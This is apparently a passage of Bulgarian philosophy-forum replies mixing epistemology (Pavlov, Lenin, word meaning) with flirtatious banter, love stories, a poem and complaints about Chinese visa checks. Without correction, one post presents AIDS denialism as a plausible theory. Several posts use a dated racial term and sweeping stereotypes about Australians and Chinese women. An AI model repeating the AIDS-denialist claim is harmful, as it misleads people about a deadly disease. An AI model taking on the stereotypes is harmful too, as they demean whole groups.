Защото това са СВРЪХ-ПРАГМАТИЧНИ и УТИЛИТАРИСТИЧНО-ПРИЗЕМЕНИ хора, които са толкова СТИСНАТИ, че не могат да разберат, че щом имам пари за цвете, билките няма да им избягат, нито часовника или каквото там си е наумила да купува. Но както казах - има различни хора. Едни реват, че им подаряваш цветя, други реват, че никога не са им подарявали. Едни искат да спят с негър, че било възбуждащо, други ги е страх от негри... Ами какво да правиш?! Няма невъзможни идеи за мозъка. Почти Tabula Rasa си е...
---
Браво на колегата, дето я е придружил така, както тя го е придружила. И не-браво на решението им да трошат пари из САЩ, при положение, че и в БГ (България) е можело да завърши нещо подобно, след това в САЩ пак да работи с "Европейска диплома"... ама те си знаят. Не всеки е добре в сметките и научното прогнозиране като мен. Но, пък са по-добре на късмет в любовта! Аз такава не съм имал. Не цветя, а цели градини съм щял да й нося... /Говоря за истинска, споделена любов в нейната цялостност./
---
Доверието е нещо като сляпа вяра. Все от един и същи порядък са. НЕБАЗИРАНИ на нищо. А вярата много лесно могат да ти я отнемат с няколко психологически трика + необходимите психо-субстанции, ако решат. Мозъкът се манипулира изключително лесно, ако някой реши и има ресурса за това. Това беше "лирично отклонение" от темата. А за човекът, че сам си решава си права. Най-често решават и правят лоши избори, но това си е "нормално"... Човечеството е младо, а някои даже не са усвоили и 1% от опита му. Е как да действат мъдро?
-
109. Ванчето се ядоса и/или се разочарова, че не ставам за неин съпруг. Ами така е душа, не си пасваме, а и аз искам пак китайка, че си мечтая за китайско гражданство.
Иначе няма нужда да се ядосваш, а и, ако си се почувствала засегната от нещо се извинявам от сърце най-публично тук-и-сега.
Животът е един и трябва да се изживее по възможно най-достоен, ползотворен, рационален и пр. начин.
110. "После аз протестирам леко, щото винаги съм си мислел, че думата "куче" е нещо яко различно от животното куче: последното хапе и пикае а първото не."
Но аз не твърдя, че думите са това, което обозначават. Винаги съм казвал, че ДУМАТА, ОЗНАЧАВА ПО КОНВЕНЦИЯ нещо си. А самото нещо си е не-дума, освен, ако не говорим за думата "дума". А "ДУМА" на руски значи "МИСЪЛ".
"Демек ПОНЕЖЕ Думите обозначават определени обекти ЗАТОВА, като знаеш смисъла на една дума ти знаеш .... "обозначаемото", демек референта й."
Точно така. Затова е и възможно ученето. Примерно никой от вас тук сигурно не е виждал действащ вулкан (Витоша е изстинал отдавна), но са ви обяснявали, след което като сте видяли планина с лава, пушек, пепел и земетръс, примерно, сте се сетили, че е вулкан, а не река, да речем.
"Сега, прехода от ДУМАТА към значението нещо лековато ми бе направен, първо щото дума е различно от значение и ти в началото спомена нъцки за знаенето на значението на думата, а само за дума. После, излиза, че като знаеш думата ти знаеш значението й и заради това знаеш и референта й."
Значението СЕ ВЛАГА в думите. Затова и думите означават САМО-И-ЕДИНСТВЕНО по конвенция. Те са неразривно свързани. Освен, ако думата не е шизофренен неологизъм, при който значението или го няма или има субективен, трудно-разгадаем характер.
"Получава се следната картинка:
(знаене на ДУМА) води до знаене на (смисъла й) води до знаене на (референта на думата)"
ТОГАВА-И-САМО-ТОГАВА, когато думата е "ПРЕПОДАДЕНА" от възрастните правилно и адекватно. Самото знаене на дума, без научаване на смисъла й не води до знаене на обозначаваното от нея.
"Ти не излагаш нещата така, както следва да бъдат изложени за да стане ясна твоята позиция а предполагаш че тя следва да се знае/разбира от останалите, което не е много ясно зщо трябва да бъде така."
Защото са пределно-прости неща за философи. Виж, ако беше нещо от рода на първата династия на Казанското ханство можеше да направя по-голямо интро. Но на обикновен въпрос, който си задал - "Вие знаете ли нещо и как става така, че го знаете?" Аз казвам -"Ами знам думички и става с учене." Това е толкова необоримо и ясно. По-нататък ти усложни нещата сам.
"Ти твърдиш че епистемологическото отношение на един познавателен субект (да го наречем) може да бъде към
лингвистични обекти (дума)
семантични обекти (смисъл/значение)
физически обекти (кучета)"
Да, защото те са свързани. Ленин добре го е обяснил, защото и той като мене е човек, който ратува за единство на философия с наука и практически опит, а не с голи, отнесени идеализми, водещи от пусто в празно.
"Никъде тук ти не споменаваш, че познанието е винаги КАК или ЧЕ/ДА. В случаите следва да бъде ЧЕ/ДА познание: Знам какъв е смисъла на думата "куче" е много различно от това да знаеш думата."
Правилно, но, В ПРАКТИКАТА знаенето на думите, по принцип, е свързано и със знаене на техния смисъл (или на влагане на друг смисъл; или в полу-знаене на смисъла им). Ако не знаеш смисъла, не употребяваш думата. Така или иначе тезата ми си остава, че ИМА ЗНАНИЕ, а знанието се придобива с УЧЕНЕ.
"Ако си искал да кажеш, че имаш да знаеш смисъла на думата да го беше казал а не просто да предполагаш че това ще се приеме радушно."
За ЕНТИМЕМА нали сме учили? Философите, особено сред колеги, си служат с ЕНТИМЕМИ. Т.е. пропускат част от подразбиращото се. Вид силогизъм за умни, по конвенция. ;)
"Защото, както беше проговорено в една друга тема (от мен основно, може би Лили?) дума сама по себе си не може 1. да получи значение ако не е изяснена от пропозиции, които доставят това значение и знаенето на смисъла на думата, следователно, предполага знаенето на тези дефиниращи пропозиции (изречения) и не може да бъде обект на знание БЕЗ значението си и/или без конкретна си роля в някаква пропозиция (от сорта на "знам, че кучето е котка")."
А аз като казвам, че думите означават по конвенция не казвам ли същото, но по много по-достъпен, икономичен, кратък и разбираем начин? Отделно това противоречи ли на тезата ми, че знам думи и съм ги УЗНАЛ с учене? Не.
"епистемологията, демек това, дето ти трябва като казваш, че знаеш, се занимава със знаенето, основно."
А аз предпочитам термина ГНОСЕОЛОГИЯ в случая.
"Ти казваш че може да знаеш "куче" и куче, което е пълен абсурд, защото това са изолирани елементи на своя домейн (език и физически свят, примерно) и затова ти не може да ги знаеш."
Абсолютно не. В мозъка, както са открили светилата на руската и Съветска психология, неврология, неврофизиология имаме АСОЦИАЦИИ. Т.е. НА БАЗАТА НА УСЛОВЕН РЕФЛЕКС се придобива ПОЗНАНИЕТО, ВРЪЗКАТА между ПРЕДМЕТА и ЗНАКА му (думата). И всичко това е ПО КОНВЕНЦИЯ. Ето защо някой като каже чужда дума не загряваме какво значи, ако НЕ СМЕ УЧИЛИ, т.е. не сме си изградили УСЛОВЕН РЕФЛЕКС. Доказателство за условно-рефлекторния характер на познанието, в частност на думо-знанието, са погрешните асоциации, които възникват при чуване на чужди думи. Примерно много колеги се смееха на татарското "свирете", което е "уйнагъз", просто защото в мозъците им на българи няма такъв условен рефлекс, който да асоциира свиренето с "уйнагъз", а те си го асоциират с познатите им 3 български думи, първата от която субкултурна, признавам.
""Понеже знаенето е невъзможно без езика""
Знанието е супер-възможно и без език. Даже гласувах в анкетата вече. Т.е. както видяхме има УСЛОВНИ РЕФЛЕКСИ. Благодарение на тях дори маймуни се учат от родителите си. А условните рефлекси не винаги са думи. Ето това е научния подход за който говоря и единството на наука с философия, което трябва да е идеал и пътеводна светлина за всеки философ. Науките са се отделили от философията, за да се доразвият като обособени форми на културата, затова те /науките и философията/ трябва ДА СИ СЪТРУДНИЧАТ, а не да се самозабравят в собствен сепаратизъм.
"ти мислиш в език, пишеш в език и разбираш в език."
Аз, в повечето случаи - да. Но мисленето може и да е ОБРАЗНО, не ЕЗИКОВО. Или даже ИНТУИТИВНО.
"Основнаия елемент на езика, който може да достави познание не е думата а изречението, което казва нещо за нещо."
Това пак излиза в страни от темата (подтемата): АЗ ЗНАМ ДУМИ И ГИ ЗНАМ С УЧЕНЕ. Това казвам аз. А вече ученето дали е станало с ИЗРЕЧЕНИЯ или примерно са ми показали илюстрация на ябълка, под която пише "Пин Гуо" на китайски /苹果/ и аз съм си направил УСЛОВНИЯ РЕФЛЕКС само на база КАРТИНКА-ДУМА не е от значение. Отделно, да знаеш, че има и изречения съвставени само от една дума като:
-Ела!
-Добре.
-Стана.
-Уча.
-Пиша.
...
"Трябва ти нещо, което да навърже всички тези неща. И това е семантиката, където ти изпадаш в едно море от кадаиф"
Сигурно вече не мислиш така след като демонстрирах и други начини на учене. А тезата ми си е, че знам думи (вкл. и техните значения, както никой не би оспорил), които ги знам чрез УЧЕНЕ (независимо от това какъв тип е то - изречения, картинки и пр.) Разбираш ли? Ти навлизаш в детайли, които В КАКВАТО И КОМБИНАЦИЯ ДА ГИ СЛОЖοШ пак не можеш да опровергаеш Великата истина, че ЗНАНИЕТО СЕ ПОЛУЧАВА С УЧЕНЕ. УЧЕНЕ = изграждане на рефлекси. (Ако някой, случайно, не харесва думата, щото е "руска", да кажа, че е френско-латинска и иде от Декарт).
"Не правиш грам разлика между различни позиции в семантичните дебати."
Правя. Но тук направо реших да отговоря на въпроса ти какво знаем и как го знаем с конкретен пример, базиран на много строга и плодотворна наука - Павловото учение, прегърнато от Диалектическия Материализъм - най-последователната и неразривно-съврзана с практиката, и науката философия, даваща отговори на всякакви въпроси, И ПРАВЕЩА РАЗЛИКА МЕЖДУ ПРОБЛЕМИ и "ПРОБЛЕМИ", без да изпада в ПОЗИТИВИЗЪМ. Идеалната среда, за която ратува Аристотел. /И не само той./
"А, накратко, има позиции, които не приемат едно по едно нищо от това, което присъства като семантично състояние на нещата. Си мисля."
А-а-а-а, аз знам, че има такива позиции и някои от тях се сътворяват като позиции, за да се вземат пари. Много се извинявам, че не се сещам за името на едно учение ("философия"), чийто автор си признал, че го е направил, за да взема пари и да си направи екесперимент, но дори и след това много от последователите си казват, че си е "живата истина"... Ако някой се сети ще съм му благодарен.
"Примера с Папаята е жесток. ама нали се сещаш за един друг пример, където 5 души хванали със завързани очи един слон, кой където може, и секи вика, ми слона е грапав, дълъг, космат и разни такива и след това като напипали кой хипопотам, кой космата змия :) хе хе, кой бут от мамут и секи вика това е слона братко."
При слона имаме СЕТИВНО познание и ЧАСТИЧНО. Докато, ако аз опиша един слон на някой (с изречения, разбира се), у него ще се установи УСЛОВЕН РЕФЛЕКС, при който няма да сбърка слон дори с носорог, което май най-прилича на слон.
"Ако знанието беше толкова лесно, Далай, ние с теб нямаша да водим този разговор, хе хе."
ЗНАНИЕТО Е МНОГО ЛЕСНО! Доказателство за това е, че днес хората правят неща като мозъчни операции, които преди само няколко стотин години биха изглеждали като Чудо. ОПОЗНАВАНЕТО, придобиването на КАЧЕСТВЕНО-НОВО знание е трудното. Вече наличното знание е лесно и става с учене. Опознаването става с изследвания от всякакъв тип.
111. Бате Далайчо не иска да провокира никой. Само си констатира. И току-виж констатациите пък предизвикали ЕПИФЕНОМЕНИ. Относно "Скайп"-а - според хората си става какво ли не. А ти много пиеш... Но то в България не обръщат внимание. Тука - оууууу, купил съм си 3 бири и едни момичета ме изкараха алкохолик... Ами не пият много тука, а и се напиват от по-малко, та им прави впечатление. /В някои райони на Китай пият доста, между другото. Но, като цяло, в Китай не се пие толкова, колкото в някои по-западни държави./
" Ако попитам дали има повишителен при Андонов и се явя, след като прочета Ленин, ще преразгледаш ли решението си, поне за едно виждане в Турция! Моля те."
Е ти пък избра дестинацията! Виж, ако беше Корея - иди-дойди. Мене даже един ме заплашваше, че ще дойде и ще ме заколи (щото не съм съгласен с идеята му за едни националности и народности). Та аз му дадох адреса си, но...той рече "Я, по-добре да се видим в Корея!" и аз му отказах, но за тебе може да потроша 1000 лева и да отскоча. Ама до Турция ще ми излезне към 2000 лева и отгоре, не може. Иначе Андонов каза, че основанието за промяната на субекта е в самия него. Мдааа..., т.е. не знам дали ще намериш/създадеш такова, за да прочетеш не само Ленин, но и да не се съобразяваш примерно с приятелките си за сметка на мъжа си. Особено пък с такива, които си личи колко "истински приятелки" са щом зад гърба ти си раздават телефоните и ти правят кофти-реклама.
"Щото аз пък мечтая за Австралийско гражданство и не бих искала да се омъжа за китаец, освен ако не е Джет Ли."
Твое право си е, макар че не знам какво й харесват на Австралията - лош морал (по-лош от в България - примерно по дискотеките се целуват без да са гаджета, само колкото така, за спорта. В училищата има повече дрога, повече училищни банди; редовно налитат на бой по кръчмите... /така ми е разказвал един българин, който отишъл да живее в Пърт/. Аз тука бях нокаутирал един австралиец, дето беше решил, че като жена ми е седнала до него и може да я пипа... Откачена работа!... /Даже този австралиец сам си беше избрал името "Крейзи", което на английски значи "луд"/ и заради близостта с Озоновата дупка ги лови рак на кожата доста...) /И много други недостатъци си има Австралия, но обективно погледнато смятам, че има и своите добри страни./
"Еми ядосва ми се и мисля днес да съм ядосана, сори, ако не ти харасва настроението ми..."
Просто съм загрижен за здравето ти, както и за отношението към мене. Примерно, ако така ми се ядосваш, направо ще ме намразиш и, ако вярно седнем да пием с Турлаков и тебе, ти ще ми забиеш 2 шамара и ще ме изложиш пред човека. :) Така че аз гледам и малко да ти се подмазвам. ;)
"може би е било различно, защото именно съм била ЗАСЕГНАТА. И сега? ААААА той поета се извинява публично, и то там- в Китай!яко. Мерси за разбирането, precious."
И какво общо имаше това, че съм пуснал 2 стихчета, които да посветени даже на друг човек? А за извиненията - достойният човек не се свени да се извини, ако е сбъркал, макар че аз още търся ненамирайки грешката си.
"Верно ли животът е един? Това кой ти го каза? Не вярвам да е Турлаков."
Ами доколкото Турлаков е мой състудент и учител (аз се уча от такива хора) аз съм следил внимателно и какво му е отношението към тези въпроси. Определено не е религиозен и пак за аналите на историята на философите ще кажа, че когато е посетил някаква ново-учредена секта по онова време пастор го е обвинил, че той НЕ ВЯРВА и Николай блестящо му е отвърнал : "Точно така. Не вярвам. И идвам от позицията си на невярващ. А вие тука трябва да ме убедите, за да повярвам. Вие не можете, не представяте никакви основания! Е, как да вярвам?!" В този смисъл Турлаков би ти казал да ДОКАЖЕШ, че животът не е само един.
"Ако е Андонов"
Андонов си каза в прав текст за такива твърдения : "Това е КАЗВАНЕ. Доказателства?"
" попитай и Калчев дали така мисли и тогава ще го обсъдим.......PRECIOUS!"
Калчев вярва в Чистилището и всякакви други Католически неща. Не крие, че е католик.
"Пс. Искам съвсем ОТГОВОРНО (мисли си за Калчев като четеш това) да заявя, че освен горните чувства, които съм споделила, много РЕВНУВАМ. Наистина не знам как става това, но явно ми е такъв характера, и не ми е много приятно да отговаряш на lilia пък било и на английски."
Е, ревност сега... Какво са казали хипарите, когато са били под влияние на дрогата? "Make love, not war!" /Всъщност това е по-сериозен лозунг, отнясящ се към протестите срещу войната във Виетнам, но наистина не се знае кой го е измислил/съчинил - https://en.wikipedia.org/wiki/Make_love,_not_war (https://en.wikipedia.org/wiki/Make_love,_not_war)/ В този смисъл що не си поговорим 3-та? "Threesome" казват на тройката... Хм... шегувам се разбира се, ама това е типичен модел на поведение в Австралия, та те подготвям. /По-късно срещах много австралийци - и от двата пола, на различна възраст - без нито едно изключение много сексуално-разкрепостени ми се сториха, някои дори до степен на вулгарност и незачитане/неуважение/несъобразяване с отстрещната страна./
"Какво като е на английски? И аз поназнайвам някои неща и думи на английски (тези пронизвания изтърпявах най-тежко, добре, че съобразяваше и първо отговаряше на мен след това на нея..."
Ами защото Лилия само ми харесва като тяло и излъчване, а към тебе имам и чувства! Просто ти си в по-горна категория на любовното, както може би би казал Иван Колев, ноооооо... така или иначе не си пасваме... (Някой да не се върже, ей? Не познавам и не съм виждал нито една от двете философки тука, но се опитвам да внасям ведрота.)
112. Може и да има, но смисълът, който съм вложил се запазва. За кое съм сгрешил, все пак?
113. Относно "Производство и продуктивност" (семинар): Хайде после, ако имаш времето и желанието да ни светнеш, неприсъствалите за по-важните и по-интересните идеи, които са изрекли там. Ще се радвам!...
114. Така е. Трябва ведрота във философията. Това спомага за оптимизъм, градивност... И пак в стила на оптимизма - ние не си пасваме за едно, ама пък за други неща, нещица и пр. може да си пасваме. Аз с толкова много хора съм си пасвал за какво ли не, че с Ваня ли няма да намерим. Ти, колежке, прочети нещо от Ленин и ме почерпи с 2-3-5 бири, пък ще видиш няма ли да си паснем я в туй, я в онуй. (Последното да го разтълкуват епистемологизирующите тук ;) )...
"но сега вече размислих и мисля"
И аз понякога размислям, ама често е без да мисля и става мазало. Просто споделям, иначе ти правилно си направила.
"не отричам необходимостта и наличността на определени „условия” за съ-здаване на нещо, освен самия творец естествено. А че тези НЕЩА, ако не бъдат комбинирани, обусловени, обосновани, свързани, поставени в зависимостта на цялото и представени като едно..... „стихотворение” напр.- саааааааа сами по себе си нищо."
Значи твоето нищо по дефиниция не е чисто. Т.е. търпи някакви си потенции в себе си, някакви си наличности. Ама то не си само ти така.
"Но като станат стихотворение (пък било и посветено на друга, нищо че трета се вълнува, но важното е тая, на която е посветено да не разбере)"
1. Вълнува се всеки, който има сърце.
2. И да разбере няма значение. Тя отдавна уби доверието в себе си. Даже ще споделя тук, нали е любовна тема:
След 10 години безплодно-безнадеждна любов от моя страна, решихме да сме само приятели. И то по интернет като си само приятел, а и в реала, от време на време намазваш нещо отвърд-приятелско, стига да ти се иска и да си търпелив, а и да го цениш... /Не винаги се случва; препоръчвам да се знае./ АМА в един момент чашата прелива (количествените натрупвания водят до качествени изменения) и слагаш край. Как аз сложих края? Ами често си споделяме какво е ставало и какво ни вълнува, та аз си отделях доста от ресурса да я изслушвам и то за други мъже, което не беше най-приятното нещо. И един път се случи така, че една китайка реши да избере да е с канадец, който е груб с нея, а не с мене, който съм добър-и-романтичен с нея, та се оплаквам на тази с посветените стихове, която е чак в Германия и дори, за да ИЛЮСТРИРАМ МЪКАТА СИ съм сложил 3 (ТРИ) разплакани емотиконки. И нашата, чела-недочела, като ми пише:
"Аха. Виждам, че си добре. Сега да ти кажа какво става с мене и моя приятел!" /Цитирам по смисъл, но "Виждам, че си добре." няма как да го забравя./
Оуууууууууу! Ужас... И оттогава между мен и приятелите ми си имаме лафа "Виждам, че си добре.", за майтап и илюстрация на себичност, мързел и пр.
" тогава тези отделни думи и значения вече са Нещо и сами по себе си. Разбираш ли разликата?"
Разбирам, че има разлика, но така или иначе не е чисто НИЩО-то на твореца. НЕНАЛИЧИЕТО НА ПРОДУКТА, НО НАЛИЧИЕТО НА МАТЕРИАЛА МУ, не е равно на НИЩО. От нищо нещо не става. "Ex Nihilo" си е еврейска илюзия. /Става дума за религията./
"Приемаме, че съм една русалка rasa (от tabula rasa), която не се е влюбвала до този момент."
Да ти кажа някои жени са като че ли оперирани от възможност за влюбване. Честно, казано. Сигурно и такива мъже си има, но аз по-не се интересувам от мъжете (освен, ако не са нещо като Лазарев или Турлаков, примерно), та нямам преки наблюдения. /Говоря за интерес от научна гледна точка. Иначе съм си бил и си оставам хетеросексуален. Да се има предвид./
"Необходимо осъзнавам, наблюдавайки около мен приятелките ми, слушайки развълнуваните им разкази, че многоо ще ми е приятно, ако Свилен, който ме гледа от известно време вземе, че ме покани на кино."
Хм... Вярно, бе! Аз напоследък все ги каня да ядат! Бях забравил, че може и на кино! Ами то с тоя интернет кой ходи на кино?! Ако можеше и безплатно да се яде по интернета, както се гледат филми, и по ресторанти нямаше да ходим... /През последите години се появиха доста кина наоколо. Имат някаква посещаемост, макар и не винаги голяма. Например веднъж бяхме само 3-ма човека на една прожекция, но се е случвало и цялата зала да е пълна./
"Аз твърдя, че случването на влюбването"
Ейййй, СЛУЧВАНЕТО на влюбването? Браво! Ето това вече звучи съвсем Андоновски! :) Абе знаел е човекът, че не си за 2-ка, затова и ти е писал 4. :) Хареса ми. Иначе това СЛУЧВАНЕТО често съм го чувал и от един социолог и един политолог. /А в днешно време, доколкото разбрах, е доста разпространен израз./
"и началото за МЕН е приятно, ти ми говориш за някакви последствия, чакай малко, още не съм го запознала с нашите и дори не знам със сигурност дали е ходил в казармата."
Ами аз мисля нещата от последствия. Т.е. гледам напред. По-така прагматично, някакси.
"Чувствата и емоциите спрямо различните мъже и жени като характери, са основание за различно развитие на любов-та и връзката."
Това аз отдавна съм го казал! Или, да илюстрирам с Турлаков (абе аз що не издам "Философската биография на Николай Турлаков"?) - на упражнение по социология Георги Димитров обясняваше как понякога нещата не се ползват с вложеното им по-високо предназначение, а се употребяват варварски и даде следния пример:
- Баба Гицка използва компютъра, за да си затиска с него бурканите, за да не влизат плъхове...
И тука се получи хумористично, понеже човекът (Ники) имаше предвид смисъла, а не Баба Гицка и бурканите, та каза:
- Извинявам се, но това още Хегел го е казал!
Та се получи малко смехотворно, че Хегел е дал примера за Гицка, компютъра и плъховете.
В този смисъл, душа, ти като ми говориш, че различните характери произвеждат различно случване на любовта аз ще ти кажа, че това отдавна ОЩЕ АЗ СЪМ ГО КАЗАЛ. Мда. :)
" Началото ти е добро между другото, ти вече извлече нещо- това, че не си пасваме! "
Ами та... ти поне да имаше едно китайско гражданство, да му се не види, че като се оженим и да не трябва всяка година за виза да ми бодат веничката и да дърпат кръв, че да видят дали не ме е хванал СПИН-а (по закон "ИМАШ СПИН - ВЪН ОТ КИТАЙ!") и да ме облъчват с X-ray (рентгенови лъчи), за да видят дали пък нямам туберкулоза (същия закон)... /Става дума за медицинските прегледи за получаване на работна виза в Китай - кръв, рентген, урина и т. н./ Да не говорим за останалите прегледи, досадни като очния, където трябва да отговарям : "Ама ти защо не носиш очила като си късоглед?", след което им развивам теорията, че като носиш и ставаш още по-късоглед, а аз си пазя почти същия диоптър с петилетки! Или пък психиатричния преглед, където питат "Да си имал халюцинации напоследък?" (Мигар, че ако някой има, ще вземе да си признае. Хъхъ!)... И така. Неприятно ми е, унизително ми е... /Притеснявам се и от потенциални заболявания - заразяване на кръвта, рак зараи облъчването.../ та, като не си китайска гражданка (независимо дали си черна островитянка или бЕла татарка, то тука има 56 народности и не са само жълти),... не ставаш. Щото Ленин лесно се чете, при Андонов лесно се явяваш на поправки, ама китайско гражданство трудно се взема!... Sad, but true! (Това го пиша на английски, защото ми липсва Лилия. Не ми пише вече в онази тема!... Но това, което е лошо за мишката, е добро за котката... Ти сигурно си умираш от радост, че с Лилито не ни се получават нещата?... Човещинка... Разбирам те.)
"2.Сексуалността и отговорността. Не, не греша двете думи в една точка и
изречение, и съм максимално сериозна."
Ама и аз!!! Като не си отговорен и не си слагаш презерватив, току-виж те хванали СПИН + ТУБЕРКУЛОЗА наведнъж /по-конкретни материали за предаването на туберкулозата, която е заразна, но не се предава точно по сексуален път: http://www.bing.com/search?q=tuberculosis+sexually+transmitted&qs=AS&pq=tuberculosis+sex&sc=8-16&cvid=B0BB0DE5F576472E87A14AA6D48F6672&FORM=QBRE&sp=1&ghc=1 (http://www.bing.com/search?q=tuberculosis+sexually+transmitted&qs=AS&pq=tuberculosis+sex&sc=8-16&cvid=B0BB0DE5F576472E87A14AA6D48F6672&FORM=QBRE&sp=1&ghc=1)/, после ме гонят от Китай, връщам се в НАТОВСКА БЪЛГАРИЯ (ужас за комунист като мене) и там даже ти няма да ме прегърнеш, докато не си излекувам туберкулозата. Е, СПИН-ът е лесен. Както казваше бате Васко (е тоя вече не е философ и би сбъркал Платон с Плутон): "Вече 2 пъти карам СПИН на крака, нямам време за болнични." /Между другото има и такава теория - че ХИВ не прави СПИН; че СПИНът може и да се лекува. За повече информация http://www.bing.com/search?q=aids+denialism&qs=AS&pq=aids+deni&sc=7-9&cvid=7362E85E53D84E24B3CDB4C8F773ABC5&FORM=QBRE&sp=1&ghc=1 (http://www.bing.com/search?q=aids+denialism&qs=AS&pq=aids+deni&sc=7-9&cvid=7362E85E53D84E24B3CDB4C8F773ABC5&FORM=QBRE&sp=1&ghc=1)/
"Когато написах, че секса може да влоши или подобри определени приятни емоции имах предвид освен общоприетото влошаване на отношенията от външни и повърхностни белези като неразположение или физическо несъответствие"
Физическото несъответствие е при хора без въображение и творчество. (Аз откакто слушах доклад на Туркалов за творчеството на онтологичен семинар и го оцених това нещо - творчеството.)
"но и точно, че когато настъпи момента за интимност и отдаване се пада нелеката функция на мъжа да ПОДХОДИ по най-приемливия начин."
Тука не си права. Аз на такива загорели и агресивни съм попадал, че се е налагало те да подхождат, щото аз не мога така от краката за главата...
"Не само като към физическо тяло с красота, а и към супер притеснена душа дали ще се справи на ниво."
Да-да, пука им то дали ще се справят. Гледат си само тяхното удоволствие и въобще не мислят за партньора. Представи си само аз с моята възвисена, поетично-комунистическа душевност... и една сладка, но недооформена като етикет, етика, морал, китайка като ми вика : "Ох, само да се съберем и да знаеш как веднага ще ти го налапам! Много обичам да лапам!..." (и следваха обяснения... накрая даже се стигна до заключението, че децата ни ще са много хубави!)... /От този отделен случай не бива да се генерализира за всички жени, нито за всички китайки! Някои са противоположни на този пример, други са подобни, малко са идентичните. А аз го дадох, за да покажа, че не са за мъжкия пол са свойствени тези неща./ Ами не става така!... Не става!...
"Тук вече, сори, че така ще натоваря мъжете, но наистина ОТГОВОРНОСТ се поема първо от мъжа."
Защото не си мъж и не са ти се случвали разни, които даже са готови да те излъжат, че са взели предпазни мерки, за да забременеят и после да те ползват. Има ги всякакви. Отговорността и моралът НЯМАТ ПОЛ. То и затова на електрическият стол (в САЩ, де. Китай е много по-хуманен, тука само ги гърмят с куршум в главата. /Както вече обясних в Китай се прилагат и отровни инжекции. Черпя информацията от това: https://en.wikipedia.org/wiki/Capital_punishment_in_China#Executions_procedure (https://en.wikipedia.org/wiki/Capital_punishment_in_China#Executions_procedure)/) слагат и жени, не само мъже. Престъплението си е престъпление.
"Ако ти ми покажеш, че интимността ти с мене не е просто задоволяване на определени физиологично-психологични нужди, а е желание с отговорност за синхрон и хармония, тогава и аз първо ще „стъпя” стабилно, ще ти повярвам и ще ти се отдам не само физически, но и душевно."
Ама пак зависи от ценностите и желанията ти. Аз, примерно, бях се запознал с една алкохоличка, бивша жена на англичанин, която беше готова за секс, но не и за нещо сериозно и в момента, в който реших да й правя по-романтични жестове взе да се плаши. Така че всякакви ги има, ей!... Не се подвеждай по себе си. Ти си по-нормална, по-традиционна, по-внимателна, пък и с 6-ца по Диалектическа логика! Ама не всички жени са като тебе! Представи си има жени, които не знаят какво е "Диалектическа логика", не познават Андонов, не познават мен, не познават Турлаков, нито пък Валери Динев... Какви жени са това, бе?! :D:D:D:D:D:D /Шегувам се, но мисълта ми е, че не всички жени са образовани и/или романтични и/или нежни и пр./
"Стиховете не са за теб. (просто третата бира ми дойде в повече и вече дори не помня защо ги пейстнах в тоя форум"
И-и-и-и-и-и-и-и, ама ти и глупости си можела да приказваш? :D Стиховете ги пействам винаги-и-всякога, когато има възможност. Ето днес не съм пил, но ще ти пейстна един друг. Той е писан не за онази другата, а за една друга друга (Аз съм един от най-добрите онтолози на ДРУГОСТТА, да знаеш, не се майтапя много. Забелязал съм, че много народ не знае, че ДРУГОТО НЕ Е ЕДНОРОДНО!)...
Дъждът намокри мойто тяло.
Дъждът съблече моята душа.
Дъждът изкъпа ме изцяло,
Но не отмива в мен греха!
Дъждът е нещото, което
Ще дава живинка на теб!
А мене нека да удави,
И във студа да стана лед!
А после мънички частици,
Които в бодрата зора
Да бъдат твоята росица,
Ти - цвете на една душа!
"Неква като ми пише Precious , аз да не би да й се връзвам?"
Ама на мене ми е приятно даже, ва! (Както казват из Добруджа.) Обаче аз съм реалист-човек и , най-основната пречка, е че не се увличам по гражданки на ЕС, а по такива от КНР. Второстепенните трудности са от аксиологичен характер - примерно за мене е най-важна съпругата, а при тебе приятелките сторват понякога сериозна конкуренция на любимия ти... Различни ценностни ориентации...
Като се видиш с Ники на бира го питай, той разбира добре аксиологията и ще ти обясни. Сега да не стане така да чете тука и жена му, и да станат проблеми. Веднага пояснявам, че хич не знам дали и как ще се виждате с Ники, просто предполагам, а и тя също може да дойде, ако иска. Така че - точка по тая тема.
"Посветени са на друга, да. Точно така, нея я обичам"
Офффф, ако знаеш как съм я намразил, направо...
"ти си ми сладка, но с теб не си пасваааааааааме."
Ти вземи едно китайско гражданство, изчети поне "Философски тетрадки" (Владимир Илич Ленин), посети няколко лекции на Андонов (може да ги запишеш с камера и да ми ги поднесеш на дискове като подарък) и да видиш не си ли пасваме! А, ако ми подариш и лекции на Валери Динев, даже и без да пием бира ще си паснем! Ще видиш!!! Отговорно заявявам, даже без да съм те виждал като физиономия.
"не няма да го доказвам на Ники, той ме разбира"
Ами той по принцип си разбира, ама него не го разбират. Ето сега ще те просветя с философия от ВИСШ ППОРЯДЪК (става дума за диалог Турлаков-Андонов):
Значи Ники си изказва съмнение по теза на Андонов, но знаеш, че стилът на Турлаков си е доволно-сложен за по-неподготвени хора и дори Андонов не разбра какво го питат. НООООООООооооо, Андонов е умен човек и реши да опита пак като рече:
- Не чух. Не казвам не разбрах, а не чух!
След това ЕДНО КЪМ ЕДНО Турлаков повтаря въпроса си на което Андонов вече казва:
- Е, сега вече чух, но не разбрах!
;)
"да се разберем да се видим по женски, и да си довлекат мъжа, да ми се лигавят цяла вечер, накрая да се скарат пред очите ми, и аз да се чудя кого от двамата ми е по-близо, за да го наритам, и накрая най-якото, аз да изляза виновна, че съм споменала Павел....абе, сапунка, отвсекъде."
Ето за това говорим. Който иска да има щастливо семейство, да не се занимава с приятели толкова много. Мъжът ти трябва да ти е не само мъж, но и най-добър приятел, иначе, да, става екшън. А ти много риташ, бе?! Същинска китайка! Вземай гражданството и идвай да се ритаме заедно :) ;) /Имам предвид, че като се бият доста китайки съм ги виждал да използват ритници. С разпространението на бойните изкуства по света, обаче, все по-често виждаме и некитайки да използват краката си по време на физически конфликти./
"А на това за...... „а към теб имам чувства”........ много се смях, ама наистина..бях го забравила, на младини доста вървеше верно. Яко е!"
Ами имам си... какво да направя? Но, ако Лилия упорито не ми пише, може също да предизвика такива. Защото като си в дефицит за някоя и ти става по-драга. Това е психологическо-икономически закон.
"Пс Въпросче: (за домашно) Това звучи ли ти познато? Възможно ли е ти да си го писал?
„Ситуация Б:
(Монолог от нейна страна):
-Ех,...ами някои хора просто са си добри, свестни, точни, завършени! Но не си пасват. Просто не си пасват, като нас двамата, например.
(Едва ли е нужно да казвам, че това не ми беше "заветната цел" да прочета, а и просто НЕ БЯХ ПοТАЛ НЕЩО ТАКОВА!)"
